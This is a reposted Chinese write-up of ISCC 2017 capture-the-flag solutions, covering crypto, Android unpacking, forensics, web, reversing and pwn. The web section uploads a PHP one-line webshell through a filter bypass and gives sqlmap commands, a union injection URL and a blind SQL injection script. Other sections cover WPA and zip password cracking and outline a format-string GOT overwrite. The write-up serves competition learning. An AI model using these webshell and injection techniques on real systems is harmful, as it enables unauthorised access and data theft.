安全路透社
当前位置:安全路透社 > 网络转载 > 正文

信息安全与对抗技术竞赛(ISCC 2017)WriteUp(详细,通俗易懂)

本文仅供参考,仅当思路交流使用。本WP记录了ISCC二十多天来的比赛历程。 感谢china H.L.B  老虎的细心整理,同时感谢B1u3Buf4、Cirn09、Rocll、iosmosis、紫色皓月、胖虎、chao、4ch12dy和其他队友的全力帮助。

*2017 ISCC-原创,作者:china H.L.B战队,本文属FreeBuf原创奖励计划,未许可禁止转载

一、Basic

1.题目:身为二战时期的密码专家,你截获了通信员身上的一段密文、密钥序列和加密列表。你能看懂吗?

解答:

打开题目后,先观察他的特点,然后上网谷歌和队友的帮忙确定是异或处理,根据百维百科给出的解释如下图所示,

1.png

1.1       

确定flag的位置如下图所示:

2.jpg

1.2

flag: FIREINTHEHOLE

链接:https://en.wikipedia.org/wiki/Jefferson_disk   

2.题目:小明的U盘中毒了。病毒把小明的文档压缩并加密。现在小明忘了公邮密码,然而记录密码的文档却被病毒压缩并加密,你能帮助小明解开吗?

解答:

(1)把题目下载后发现有个压缩包和txt文件,首先爆破压缩包密码,爆破出来解压缩密码如图1.3示;

3.jpg

图1.3

(2)解压缩后发现txt文本里有base64加密如图1.4所示;

4.jpg

图1.4

RmxhZzp7THkzMTkuaTVkMWYqaUN1bHQhfQ==

(3)base64解密拿到flag如图1.5所示;

5.jpg

图1.5

Flag:{Ly319.i5d1f*iCult!}

3.题目:X老师怀疑一些调皮的学生在一次自动化计算机测试中作弊,他使用抓包工具捕获到了Alice和Bob的通信流量。狡猾的Alice和Bob同学好像使用某些加密方式隐藏通信内容,使得X老师无法破解它,也许你有办法帮助X老师。X老师知道Alice的RSA密钥为(n, e)=(0x53a121a11e36d7a84dde3f5d73cf,0×10001)(192.168.0.13)?,Bob的RSA密钥为(n, e)=(0x99122e61dc7bede74711185598c7, 0×10001) (192.168.0.37)

解题:

(1)打开pacap数据包进行tcp流,发现base64加密如图1.6所示;

6.jpg

图1.6

(2)base64进行解密如图1.7所示;

7.jpg

图1.7

(3)所以我们有一个序列号,一些数据和一个签名。现在让我们看看是否可以解密数据部分。

显然, Alice和Bob密码没有选择一个足够大的N,让我们恢复自己的私人密钥。通过将十六进制数转换为它们的完整的十进制值,并将它们输入到这里(这里),我们可以找到n个包含的主要因素:

0x53a121a11e36d7a84dde3f5d73cf=38456719616722997· 44106885765559411

0x99122e61dc7bede74711185598c7=49662237675630289· 62515288803124247

(4)与RSA,这些素数因子(P和Q)和指数(E = 0×10001 = 65537)都是你需要找到解密密钥。要生成Bob的私钥,我们可以使用一些简单的Python脚本进行计算:

from Crypto.PublicKey import RSA
import gmpy
n =long(3104649130901425335933838103517383)
e = long(65537)
p = 49662237675630289
q = 62515288803124247
d = long(gmpy.invert(e, (p-1)*(q-1)))
rsa = RSA.construct( (n, e, d) )

(5)使用这个RSA密钥,我们能够解密数据:

decrypted = rsa.decrypt(long('0x2c29150f1e311ef09bc9f06735acL',16))
printstr(hex(decrypted)).strip('0x').rstrip('L').decode('hex')

(6)结果在换行符(0x0a)。

通过查看其余的解码包,我们注意到每个数据包含一个加密字符。将解密后的字符置于输出字符串中的序列号的位置是有意义的。我们现在需要解决的问题是具有相同序列号的多个数据包的问题。为了区分坏的好数据包,我们需要检查是否签名匹配的数据包使用爱丽丝的私钥。

下面的Python脚本为执行进行解密。只有数据包的签名匹配的数据被认为是有效的。

fromCrypto.PublicKey import RSA
import gmpy
# Alice's publicencryption parameters
n1 =long(1696206139052948924304948333474767)
e = long(65537)
# Bob's
n2 =long(3104649130901425335933838103517383)
# Yes! We canfactorize the n
p1 = 38456719616722997
q1 =44106885765559411
p2 =49662237675630289
q2 =62515288803124247
# that means we canfind the decryption exponent d
phi1 =(p1-1)*(q1-1)
phi2 =(p2-1)*(q2-1)
d1 =long(gmpy.invert(e, phi1))
d2 =long(gmpy.invert(e, phi2))
# now construct theRSA with all the parameters
rsa1 =RSA.construct( (n1, e, d1) )
rsa2 =RSA.construct( (n2, e, d2) )
# and decrypt themessages from a pcap file!
from pcapfileimport savefile
cf =savefile.load_savefile(open("bob_alice_encrypted.pcap"))
output = {}
for p incf.packets:
    pack =str(p.packet)[136:].decode('hex').decode('base64')
    if 'DATA' in pack:
        seq = int(pack.split(';')[0].split('')[2])
        data = pack[16:].split(';')[0][:-1]
        sig = long(pack.split(';')[2].split(' =')[1], 16)
        m = long(data, 16)
        decrypted = rsa2.decrypt(m)
        sigcheck = rsa1.sign(decrypted, '')[0]
        val =str(hex(decrypted)).strip('0x').rstrip('L').zfill(2).decode('hex')
        if sig == sigcheck:
            output[seq] = val
print ''.join(output.values())

flag: flag{n0th1ng_t0_533_h3r3_m0v3_0n}

4.题目:我们刚刚拦截了敌军的文件传输获取一份机密文件,请君速速破解。

解答:

(1)解压题目出来之后是一个txt文件,打开之后发现开头是504B,压缩包的开头如图1.8所示;

 8.jpg

1.8

(2)进制编辑器重建一个2进制文件,得到一个压缩包如图1.9所示;

9.jpg

图1.9

检查一下是加密的,然后用工具暴力破解,最后得到压缩密码是“123456”,解压之后得到flag,如图1.10所示;

10.jpg

1.10

flagdaczcasdqwdcsdzasd

5.题目:小明最近参加一个叫共济会的社团,社长一天神秘失踪,在社长电脑桌面上同学们发现一张奇怪的照片,为找到社长,社员们正在努力解密这张照片如图1.11所示,可是一直找不到答案,你们发现神秘蛛丝马迹吗?

 12.png

1.11

解答:打开题目后是一张图片,首先放在Linux kali里边使用binwalk命令观察看图片里边有没有其他内容如图 1.12

12.jpg

图1.12

发现这张图片里边还有一层图片,使用dd命令对指定文件进行提取。提取后的图片如图1.13所示;

13.jpg

图1.13

队友说这个是猪圈密码,然后通过在百度百科上找的密码对照表进行解密如图1.14所示:

14.jpg

图1.14

翻译后结果:flaggoodluck

6. 题目:简单加密

636A56355279427363446C4A49454A7154534230526D6843

56445A31614342354E326C4B4946467A5769426961453067

解答:

首先对ASCII进行16进制转换,转换结果:

cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g 

进行base64解密:

r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM

解密出来的结果是键盘密码,在键盘中找相对应圈中的字母:flag:TONGYUAN

7.题目:大黑阔在某数据库中提取到了管理员的密码,但是密码是加密的,本要放弃的黑阔突然发现加密竟然是可逆的,网页上的脚本被黑阔提取出来了,你能够帮助黑阔解密吗?黑阔感激不尽。加密数据:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

解题:

(1)写个py脚本解密加密数据如图1.15所示;

15.jpg

图1.15

FlagFlag:{asdqwdfasfdawfefqwdqwdadwqadawd}

8.题目:这是一个二维码

解答:

1一个二维码附件,扫码结果说flag是router的密码如图1.16所示

16.jpg

图1.16

(2)然后把图片放到Linuxkali里边检测图片包含不包含其他内容如图1.17所示。

17.jpg

图1.17

(3)binwalk提取出一个ZIP,txt和一个cap文件,如图1.18所示。

18.jpg

图1.18

(4)发现txt和cap文件都是0字节,那么下一步开始爆破压缩包密码,使用脚本暴力爆破后密码:20161114。(其实仔细观察图片的名字u5bc6u7801u7eafu6570u5b57u5171u0038u4f4d,这是个unicode编码,在每个u前面加上\,解码后的结果是”密码纯数字共8位”)

(5)解压缩后发现有内容的txt和cap文件,如图1.19所示。

19.jpg

图1.19

(6)打开cap文件,发现wifi密码是WPA加密如图1.20所示。

20.jpg

图1.20

(7)Txt提示8位密码 ISCC开头+4位大写/数组如图1.21所示

21.jpg

图1.21

(8)这时拿脚本生成一个字典–总共八位,前四位是ISCC,后四位是任意大写字母或0-9的字母数字组合,生成的字典总条数是(26+10)^4=1679616条。

然后再kali系统内使用aircrack-ng aircrack-ng XX.cap -w 字典.txt 命令开始爆破密码,跑字典的速度挺快的。如图1.22所示。

22.jpg

图1.22

最后爆破出来的结果:ISCC16BA

flag:ISCC16BA

二、Mobile

1.题目:这是一道送分题,不要白不要~

解答:

(1)反编译之后发现程序对输入框的字符串进行了base64处理(看不出那是base64加密算法的请退群.jpg(看不出来可以使用ADB来查看运行时的log)),然后调用了libISCC.so中的checkFlag函数进行判断如图2.1所示。

23.jpg

图2.1

使用ida对libISCC.so反编译,发现native_checkFlag函数对传进来的字符串前半段+5,然后整个字符串进行一次翻转,最后和一个字符串进行比较如图2.2所示

24.jpg

图2.2

将那个字符串进行相反处理然后base64decode得到flag

flag{ISCCJAVANDKYXX}

2. 题目:突破!征服!

解答:

1这题200分,应该不难,但是其中有加壳和反调试,对没接触过的人(比如我)来说还是有一定难度的。本菜鸟的方法不是最优解,如果哪位dalao有更好的方法请指教,多谢。话不多说,对apk进行反编译,直奔Main如图2.3所示;

25.jpg

图2.3

(2)重点在onClick函数,短短两行,获取字符串,然后调用check函数如图2.4所示;

26.jpg

图2.4

(3)Check函数在动态链接库里定义,我们把apk里的库解压出来如图2.5所示;

27.jpg

图2.5

(4)libtutu 唔…请问出题人今天要来点兔子吗?上神器ida如图2.6所示;

28.jpg

图2.6

(5)可以看到有很多ida无法解析,看来是加壳了,分析了一番,没找到直接去壳的方法,只好进行动态调试了如图2.7所示;

29.jpg

图2.7

(6)函数列表里有两个函数令人在意:

①Java_com_ijza_cn_tutu_Jni_check应该就是我们要分析的check函数;

② antiDebug顾名思义,反调试,下面的动态调试估计要和它斗争一番了

动态调试也是尝试了很多姿势,这儿就直接写最后成功的方法了。

④ 首先手机USB连接电脑(也可以用模拟器)(需要安装USB驱动),开启USB调试,将IDA/dbgsrv目录下的android_server复制到手机,并赋予执行权限,然后运行它如图2.8所示;

30.jpg

图2.8使用adb shell或在手机模拟终端上完成

(7)然后在PC端使用命令adb forward tcp:23946 tcp:23946进行端口转发如图2.9所示;

31.jpg

图2.9

(8)在手机上启动待调试的应用,然后什么都不要做。在PC启动ida,Debugger –Attch – Remote Android debugger如图2.10所示;

32.jpg

图2.10

(9)像这样进行设置如图2.11所示;

33.jpg

图2.11 

(10)依照包名找到要调试的应用,附加上去如图2.12所示;

34.jpg

图2.12

(11)下面的加载过程可能会比较慢,ida可能会无响应,等着就好了图2.13所示;

35.jpg

图2.13

(12)加载完成后,打开Debugger- Debugger options如图2.14所示;

36.jpg

图2.14

(13)勾选“当加载/卸载库文件时中断”,这样ida会在应用加载libtutu时中断,然后就来得及在反调试函数调用前得到去掉壳的libtutu(反调试生效会使应用退出)。

(14)继续运行,在输入框里随便输入点东西,点确定(随便输点东西这点很重要,什么都不输就点确定会使应用崩溃,刚开始不知道,搞得我以为这应用用了什么高超的反调试技巧呢) 

(15)不出意外,点击确定后应用就会被挂起,ida可能会弹窗如图2.15所示;

37.jpg

图2.15

(16)我们选择直接点OK忽略它,当然也可以手动指定libtutu的路径图2.16所示;

38.jpg

图2.16

(17)程序断在了linker,linker完成了tutu的去壳,我们把linker的部分全部步过过去。远程调试可能会有点延迟,忍受着吧

(18)Linker跑完后用快捷键Ctrl + S查找tutu的起始地址,用起始地址+check函数的偏移量得到check的位置,跳转过去如图2.17所示;

39.jpg

图2.17

(19)可以看到可已经去掉了,现在我们可以dump内存,进行静态分析,也可以继续进行动态分析,这里我们选择继续动态分析。

(20)分析之前我们先去把antiDebug函数处理一下

(21)由于作者对arm汇编不熟,将调用约定部分的指令之外的指令全部nop掉

(22)在hex view窗口中右键-edit可以对内存进行编辑,再次右键apply change可以保存跟改。设置hex view与IDA view同步,可以方便的将指令和内存位置对应起来。

(23)对check函数使用F5大法,发现有一部分是unknow的,这是ida的误识别,手动将那些区域指定为code类型即可如图2.18-2.19所示;

40.jpg

图2.18 处理前

41.jpg

图2.19 处理后

(24)可以看到,check函数的核心是一个aes-128-ecb加密算法,万能的谷歌告诉我这是一个对称加密算法。主要流程:将输入的Java字符串转换为C风格字符串,加载密钥、密文,对输入的文字使用aes-128-ecb加密,和密文进行对比。

(25)既然这是一个对称加密算法,那么我们把密文和密钥拿出来解密就可以得到flag了如图2.20所示。

42.jpg

图2.20

Flag:6ae379eaf3ccada5

2.解题:

(1)这题的难度在去壳,去壳完成后就一点难度都没有了;直接对apk进行了反编译后发现没有MainActivity如图2.21

43.jpg

图2.21

(2)然后发现他是用动态链接库生成MainActivity,最简单的思路就是在载入完全完成后dump内存,所以来简单,实践起来走了不少弯路。首先是没有Android4.4的实机,只好用模拟器代替,然后就是运气因素,直接启动应用大约有1/3的几率成功启动,jdb附加时的成功启动几率更低一些,ida+jdb附加时启动成功的几率为零,每次都在生成MainActivity时报错。成功启动后无法用ida附加。

最后经iosmosis师傅的提示:http://www.wjdiankong.cn/apk%E8%84%B1%E5%A3%B3%E5%9C%A3%E6%88%98%E4%B9%8B-%E5%A6%82%E4%BD%95%E8%84%B1%E6%8E%89%E6%A2%86%E6%A2%86%E5%8A%A0%E5%9B%BA%E7%9A%84%E4%BF%9D%E6%8A%A4%E5%A3%B3/

(3)使用修改过的DexFile dump成功,然后使用DexExtractor工具转换一下,反编译即可得到MainActivity源码如图2.22

44.jpg

图2.22

Flag:flag{ISCCXiaoTianShi}

三、Misc

1.题目:眼见非实

解答:

1)文件下载后是一个docx 文件,打开但是提示文件损坏(补一个小知识: docx文件也是一种压缩包,也是可以解压缩的)修改成ZIP 后如图3.1 所示

45.jpg

3.1

(2)看到好多xml文件。然后一个XML文件,一个文件的找,最终在word目录下的document.xml 里发现flag如图3.2 所示

 46.jpg

图3.2

Flag: flag{F1@g}

2. 题目:啊。我好像捕获到了什么不得了的东西。

解答:(1下载下来是一个pcapng,用wireshark打开,进行流量分析如图3.3 

47.jpg

图3.3

(2)分析了半天,发现了这么几个文件如图3.4

48.jpg

图3.4

(3)有RSA的公钥,还有私钥,还有一个key.zip的压缩包。这时候队友说,wireshark对FTP协议不太友好,建议使用NetworkMiner这款软件。

(4)用NetworkMiner分析流量包。因为NetworkMiner能打开pacpng类型的文件,先在wireshark里另存为pacp格式的如图3.5

49.jpg

图3.5

5)把这四个文件提取出来如图3.6

50.jpg

3.6

(6)现在知道了是RSA加密,还有了私钥和加密过的文件。然后我们开始解密。

在linux系统里,用openssl命令解密:

http://blog.csdn.net/as3luyuan123/article/details/16812011 有篇博客讲的openssl命令

本指令能够使用RSA算法签名,验证身份,加密 /解密数据。

openssl rsautl -decrypt -in key.txt -inkey test.key -out 1.txt

如图3.7

51.jpg

图3.7

flag is {haPPy_Use_0penSsI}

3.题目:假如你是李华(LiHua),收到乔帮主一封密信,没有任何特殊字符,请输入密码,不少于1000个字。同学,记得署名哦~

解答:

(1)下载题目后打开是一张残缺的md5图片如图3.8所示;

52.jpg

图3.8

(2)放到Linux kali里边binwalk看图片有没有隐藏文件如图3.9所示;

53.jpg

图3.9

(3)发现有压缩包,使用binwalk –e命令提取如图3.10所示;

54.jpg

图3.10

(4)提取出来后发现有一个压缩包和一个txt文本文件如图3.11所示;

55.jpg

图3.11

(5)解压缩压缩包发现密码如图3.12所示;

56.jpg

图3.12

(6)首先选择爆破密码,根据题目所提供的信息(不少于1000个字,二进制数1000就是8,也就是压缩包密码不少于8位,最后五位还得是LiHua)来构造压缩包密码或者直接用zip爆破工具爆破(推荐使用工具爆破),同时来写个脚本来生成压缩包密码如图3.13所示;

57.jpg

图3.13

(7)拿密码解压缩得到flag如图3.14所示;

58.jpg

图3.14

脚本代码:

import string 
from hashlib import md5 
a = string.ascii_letters + string.digits

for a1 in a: 
for a2 in a:

for a3 in a: 
for a4 in a: 
if '1a4fb3fb5ee' in md5(bytes(a1 + a2 + a3 + a4 + 'LiHua', 'ascii')).dexdigest(): 
print(a1 + a2 + a3 + a4 + 'LiHua')

break


Flag:Stay hungry, Stayfoolish.

4.题目:普通的DISCO我们普通的摇~~~~

解答:

(1)下载一个Disco.wav音频文件,不是以.mp3结尾。看来mp3stego这个工具是无法使用了。

(2)细心的童鞋会注意到,音频开头有一段杂音。然后用音频分析软件打开,这里我用audacity这款工具打开音频文件。如图3.15所示

59.jpg

图3.15

(3)发现音频开头–>0.0030秒之间掺杂着有一段音频。看来这段音频就是解题所在。

仔细的查了查,刚好有105个峰值频率高低起伏的点。峰值高的点为1,峰值低的点为0。抠出来,是105个二进制数,每7个数为一组,刚好15组,也就是15个字母。

110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101

(4)接下来写个py脚本,把二进制转换成ASCII码,就能得到flag。。

Ps:我写的脚本让dalao看了看,竟然说我写的很抠脚…

#coding=utf-8

s='110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101'

list=[]
#把二进制转换成十进制,再转换成ASCII码

def transform(str):

    ord=int(str,2)

    return chr(ord)

num=0   #累加变量

trans=''    #要拼接的字符串

for i in s:

    if i!=' ':

        trans+=i

        #print(trans)

        num+=1

    if num%7==0:    #每7位数为一组

        list.append('0b'+trans)     #追加到一个列表里

        trans=''

#print(list)

flag=''       

for bin in list:

    str=transform(bin)

    flag+=str

print('%s'%flag)


 Flag:flag{W0W*funny}

5. 题目:没那么简单~就能做出~数独的答案~尤其是在~看过了那么多的题目~

解题:

(1)解压缩题目后,发现有25张图片如图3.16所示

60.jpg

图3.16

(2)观察第一张图片发现像二维码的一角,于是把25张图片使用PS工具拼接起来,5*5的结构。如图3.17所示。

61.jpg

图3.17

(3)然后把图片顺序进行1>5,5>21,21>1的交换顺序如图3.18所示。

61.jpg

图3.18

(4)然后把第一行图片的1号和5号进行对调,如图3.19所示。

63.jpg

图3.19

(5)然后把图片上颜色如图3.20所示。

64.jpg

图3.20

(6)然后扫描二维码得结果如图3.21所示

65.jpg

图3.21

(7)把扫描出来的base64进行6次解密。最后结果为图3.22所示

66.jpg

图3.22

flag{y0ud1any1s1}

四、Web

1.题目:签到题,来和我换flag啊!

解题:

(1)打开后网站审核元素查看网站源码发现隐藏了一个输入框,修改源码让其显示出来如图4.1所示;

67.jpg

4.1

2)俩个对话框分别输入f1ag并且点击提交如图4.2 所示:

68.jpg

如图4.2

(3)在火狐游览器post输入

hiddenflag=f1ag&flag=f1ag&FLAG=f1ag如图4.3所示

69.jpg

图4.3

4)在审核元素里边点击网络标签查看HTTP头,发现flag 如图4.4所示:

 70.jpg

4.4

 Flagf1ag: {N0w_go1Odo!otherw3b}

2.题目:Welcometo MySQL! SQL inject?

http://139.129.108.53:8081/web-01/

解答:

(1)找一个一句话上传上去,用brup抓包修改如图4.5:

71.jpg
4.5

一句话木马:<?php@eval($_POST[‘123’]);?>

(2)修改.txt的后缀名为.php5;如图4.6

72.jpg

4.6

(3)上传成功,在服务器留下一个后门,还能看到数据库的链接信息在base.php这个文件里。

(4)用菜刀连接webshell,如图4.7所示

73.jpg

4.7

路径是上传路径,密码是123

(5)链接上后,打开”虚拟终端”,:如图4.8所示

74.jpg

4.8 

看看base.php的内容:如图4.9所示

75.jpg

图4.9

数据库信息:

$servername=”localhost”;

  $username=”iscc2017″;

  $password=”iscc2017″;

  $db=”flag”;

  $tb=”flag”;

(6)知道了mysql的账号和密码,接下来开始”数据库管理”:如图4.10所示

76.jpg

4.10

(7)<U>标签内写账户,<P>标签内写密码,然后”提交”.如图4.11所示

 78.jpg

图4.11

登陆成功后,双击flag即可出现flag。。。

Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}

3. 题目:美国大黑阔Jack来窃取小明的flag,看上去确实很简单

解答:

(1)打开题目目测是注入,放在sqlmap跑一下发现可以注入如图4.12所示;

79.jpg

图4.12

注入点:

http://139.129.108.53:6980/web-08/index.php?id=1%bf%27

(2)获取表名如图4.13所示;

80.jpg

图4.13

(3)获取flag字段数据如图4.14所示;

81.jpg

图4.14

(4)根据网页页面flag.php页面提示确定flag所在字段位置如图4.15所示;

82.jpg

图4.15

(5)获取thisisflag字段数据如图4.16所示;

83.jpg

图4.16

Flag:flag:{441b7fa1617307be9632263a4497871e}

附录:sqlmap命令

1.获取数据库:

sqlmap –u http://139.129.108.53:6980/web-08/index.php?id=1%bf%27–dbs

2.获取表名;

sqlmap -uhttp://139.129.108.53:6980/web-08/index.php?id=1%bf%27 –tables

3.获取字段:

sqlmap -uhttp://139.129.108.53:6980/web-08/index.php?id=1%bf%27 –colunmns –T flag

4.获取字段内容:

sqlmap -uhttp://139.129.108.53:6980/web-08/index.php?id=1%bf%27 –T flag -C”id,thisisflag” –dump

方法二:

http://139.129.108.53:6980/web-08/?id=%df%27%20union%20select%201,unhex(hex(thisisflag))%20from%20flag%20limit%201–+

4.题目:老司机发挥所长,利用平时拿站的技巧来解题吧

解题:

1)首先拿扫描器扫描网站目录,如图4.17 所示;

84.jpg

图4.17

(2)扫描发现robots.txt页面,然后打开如图4.18所示:

  85.jpg

图4.18

(3)把/21232f297a57a5a743894a0e4a801fc3/加在网址后边如图4.19所示:

86.jpg

图4.19

(4)这时网页提示让继续找admin页面,在网址后边加admin.php,就显示出来网站后台如图4.20所示;

87.jpg
     图4.20

(5)输入弱口令(’ or ’1′=’1)如图4.21所示;

88.jpg

图4.21

(6)查看源码(其实在网页的左上角就能看到信息,橙黄色的小字体,不仔细看很难看到!)

如图4.22所示

89.jpg

图4.22

Flag:Flag:{ar32wefafafqw325t4rqfcafas}

5.题目:打破常规,毁你三观!

http://139.129.108.53:8083/web-09/

解答:

是一道原题–参考文章:http://bobao.360.cn/learning/detail/188.html

最终构造url
http://139.129.108.53:8083/web-09/index.php?iscc={“bar1″:”2017a”,”bar2″:[[1],1,2,3,0]}&cat[0]=123123&cat[1][]=1111&dog=%00isccctf2017

flag: flag{sfklljljdstuaft}

6.题目:小明发现,php将上传的jpg文件流写入一个txt中,再重命名后缀为jpg还可以正常读取,于是写了一段上传代码,会不会有什么漏洞呢?

解题:

(1)打开题目后发现是代码审计,发现上传内容不能有<?   ?>  php script等如图4.23所示。

 90.jpg

4.23

 

2改名时候可以读取老文件,然后写入新文件。(可以上传两个文件 一个包含<   一个包含 ?  合并后出现php前置标签 <?  成功绕过限制)如图4.24所示

91.jpg

图4.24

(3)构造url参数re系统有一个KaIsA()是一个凯撒加密,经分析他是对小写进行负移位,对大写进行正移位,最后附带自己生成的re如图4.25所示。

http://139.129.108.53:3366/web-03/index.php?do=rename&re=

 92.jpg

图4.25

解析:fwrite可以追加写入于是先把一个shell分成几个txt上传上去然后通过加密算法我第一个参数第二个参数填写分别上传的两个txt因为第一个参数只要不是ph且key不是0 就不取填写的后缀而是用它自己的后缀 这样我就可以读取两个文件 都写入新文件中

(4)然后查看网页显示结果如图4.26所示;

93.jpg

图4.26

Flag : flag{54a5bd4fe6193580020487b56acff6c5}

7. SQL注入解题:

解题:

看到需要计算验证码 首先想到的是验证码可不可以重复用 如果可以的话就不用爆破了  试了试发现必须每次重新计算

Fuzz过程 admin’ and 1=1#  提示password error

          admin’ and 0#  提示usersname error

          Order by  1 password error

          Order by  2 usersname error

初步猜测 判断逻辑应该是 select password from 表 where username=’admin’;

取出数据库密码跟输入的密码进行比对

因为union select 的查询语法 要求前后列数相同

所以 构造 ‘ union select ‘1’# 密码地方输入1  提交返回password error

正巧更开始并没有这样绕过 而是走的盲注  获取到的flag是md5 的不能破解

之后尝试‘ union select md5(1)#密码输入1 成功拿到flag

附上md5爆破 和盲注时的脚本

#并不能爆出flag,这只是一个模糊测试验证思路的测试脚本import requests,re,hashlib

def crack_code(code):

  str= 1

  while1:

     m2= hashlib.md5()

     m2.update(repr(str))

     if(m2.hexdigest()[0:3]==code):

        returnstr

     str+=1

url ="http://139.129.108.53:4567/web-05/index.php"

s = requests.session()

payload={

'username':'',

'password':'',

'captcha' :''

}

flag = ""

for y in range(33):

  forx in range(30,123):

     c= s.get(url).content

     r= re.findall(r'3\)=([\s|\S]*?)</span>', c)[0].strip()# code

     sqli= "admin' and  ascii(substr((selectpassword from houtai limit0,1),"+str(y)+",1))="+str(x)+"#"

     payload['username']=sqli

     payload['captcha']= crack_code(r)

     txt= s.post(url,payload).content[0:40]

     iftxt.find("password")!=-1:

        flag+=chr(x)

        break

  print flag

#4b8928b7b6387e589085d6fdb156df55

Flag:{1fedd3ed695e21464a210862ffb02962}

五、Reverse

1.题目:我们设置了大奖,奖金是100块(haha),前提是你要猜对我给的3个字符串,提交的flag形式是flag{str1_str2_str3}。你要问我这三个字符串在哪里,我会说:“你猜”!

解答:

(1)题目中提示了我们的目标是三个字符串。下载附件,直接扔进ida对main函数使用F5大法如图5.1所示

94.jpg

5.1

(2)从第九行来看,这个程序要求我们有三个命令行参数(第一个是自身文件名),然后对argv进行强制转换扔进了另一个函数,我们接着看这个函数如图5.2所示。

95.jpg

5.2

3无视前面一堆变量声明,直接看两个关键的循环判断,第一个循环判断了第二个命令行参数的内容,第二个命令行参数应该为【v5】【v6】【v7】【v8】【v9】,依照ASCII码得到第一个字符串,这里就留给读者实践了。第二处循环同理,得到第二个字符串如图5.3所示

96.jpg

5.3

(4)回过来继续分析,然后接受5个字符串输入,用另一个函数对字符串进行了判断,我们去看一下那个函数如图5.4所示

97.jpg

5.4

(5)和前面分析过的函数差别不大,也是对整个字符串的各个字符进行了判断,将五处判断拼接出来得到第三段字符串。

Flag: flag{l1nux_crack_ILCF!}

2.题目:where is your flag?

解答:

(1) 直接看验证函数,又是逐字符对0×66 xor,对已知的数据也xor 0×6621~29如图5.5所示;

98.jpg

图5.5

Flag:flag{1t.is.5O.easy}

3.题目:小明想窃取藏在银行保险柜中的金条,进入该保险柜需要通过层层的安全锁验证。每个锁的验证方式都不一样,你可以帮助小明分析出所有锁的类型,并最终得到金条吗?

解答:

(1)程序直接运行会提示”tryagain!”,依然是扔进ida F5大法如图5.6所示

99.jpg

图5.6

(2)这是主函数,根据谷歌的教导,RegOpenKeyExW函数是用来读取注册表的,这个程序通过注册表项:“HEEY_CURRENT_USER\SOFTWARE\ISCC\flag”获取输入,sub_401210为判断函数,我们深入分析此函数如图5.7所示

103.jpg

图5.7

(3)(变量类型没改,勉强看吧)读取的flag存入a1,然后将a1复制到v1(28~36有点怪,建议配合od进行分析)

(4)23行进行第一次判断,flag为25位长度,第5、9、11、16、25位分别是’{‘ ’_’ ’_’’_’ ’}’此时已知的flag是这样如图5.8所示:

101.jpg

图5.8

(5)猜测前4位是’flag’;27行确定flag[5:6] == ‘th’, flag[9] == ‘4’;31行再次确定flag[9] == ‘4’;Sub_401000如图5.9所示:

102.jpg

图5.9

(6)判断此函数为MD5,在cmd5查到对应值为your,确定flag[11:14] == ‘your’Sub_401180图5.10所示:

104.jpg

图5.10

(7)恩…逐字符异或判断,看一下byte_40419c如图5.11所示;

105.jpg

图5.11

(8)写个脚本如图5.12所示;

106.jpg

图5.12

(9)最终得到的flag猜测前4位为’flag’,第八位按发音猜测为’x’如图5.13所示;

107.jpg

图5.13

Flag:flag{thx_4_your_register}

4.题目:小水睡前有着写一句话日记的习惯。直到有一天查看几年前的日记,顿时觉得中二报表羞愧难当(//?//)\,但是小水并不想放弃自己的习惯,于是小水写了一个加密程序,并在加密程序中加入了随机值,想让自己也无法解密。直到有一天,小水忘记了他和女盆友相遇的纪念日,他知道自己日记中有线索,你能帮他解密日记吗?注:flag中只包含小写字母与 { } _ 这三个符号

解答:

(1)老套路ida F5大法(由于懒,就不放出运行截图了)如图5.14所示;

108.jpg

图5.14

(2)主函数挺短的,读取用户输入,类型转换作为随机种子,两次自定义的encode,最后输出encode结果。估计很多人看到有随机函数就没再做下去。

以输入的字符串作作为种子,unsigned int的大小只相当于四个字符,按照前面的套路推测flag前四个字符应该是“flag”,对应hex为0x666c6167,对应unsignedint为1718378855,这就是随机的种子了。如图5.15所示

Encode1

109.jpg

图5.15

(3)B1是一段长为702字节的空白区域(实际上不用全用到),B2是一段字符串’qwertyuiopasdfghjklzxcvbnm’,简单的键盘布局8~12对B1进行初始化,我们可以用Python实行一个相同的如图5.16所示;

110.jpg

图5.16

(4)可以看到最后出现了很多0字节,不过无伤大雅,懒得去掉了13~20对输入逐字符处理,18行的判断看起来挺复杂,其实就是判断字符是否为小写,19行是个复杂的替换input[x] = b1[(input[x] – 97)%26 + (b2[x%26] – 97)%26]如图5.17所示;

111.jpg

图5.17

(5)简单的分析,这个函数就是加了点花样的栅栏加密:如果为小写或‘{_}’则正常加密,否则随机一个字符填充,根据前边得到的随机种子v8也就是栏数为8。

(6)程序的分析结束,下面进行逆操作

密文:vfnlhthn__bneptls}xlragp{__vejblxpkfygz_wsktsgnv

栅栏解密:

vhex{bykfnpl_lgtn_tr_xzsl_lavp_ghbsgekwntn}pjfsv

解密脚本如图5.18所示;

112.jpg

图5.18

(7)最后五个字符是随机上去的,去掉即可如图5.19所示;

113.jpg

图5.19

Flag:flag{decrypt_game_is_very_very_interesting}

六、PWN

1.题目:

解答:

114.jpg

图6.1

(1)很明显,这是一个格式化字符串漏洞(漏洞详情可以谷歌一下),通过测试如图6.2所示;

115.jpg

图6.2

(2)我们输入的字符串是在第六的参数位置如图6.3所示;

116.jpg

图6.3

(3)通过pwntools可知printf的got在0x804a010,利用格式化字符串漏洞可以对这段内存进行读取(\x10\xa0\x4a\x80%6$s),根据读出的内容配合题目给出的libc计算出libbase,偏移得到system的地址,最后利用%n覆盖printf的got,覆盖完成后再输入/system/sh就会执行sh,从而getshell

Flag:flag{Pwn1TdsS_@tdxIscc}

2.题目:

解答:flag{SF#PWN2Hd93DxnsE}

电子版ISCC_2017_WP在如下链接:

链接:http://pan.baidu.com/s/1o8iCP8Q 密码:qq8w

*本文作者:Down_cent(原始作者china H.L.B战队),本文属FreeBuf原创奖励计划,未许可禁止转载

未经允许不得转载:安全路透社 » 信息安全与对抗技术竞赛(ISCC 2017)WriteUp(详细,通俗易懂)

赞 (2)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册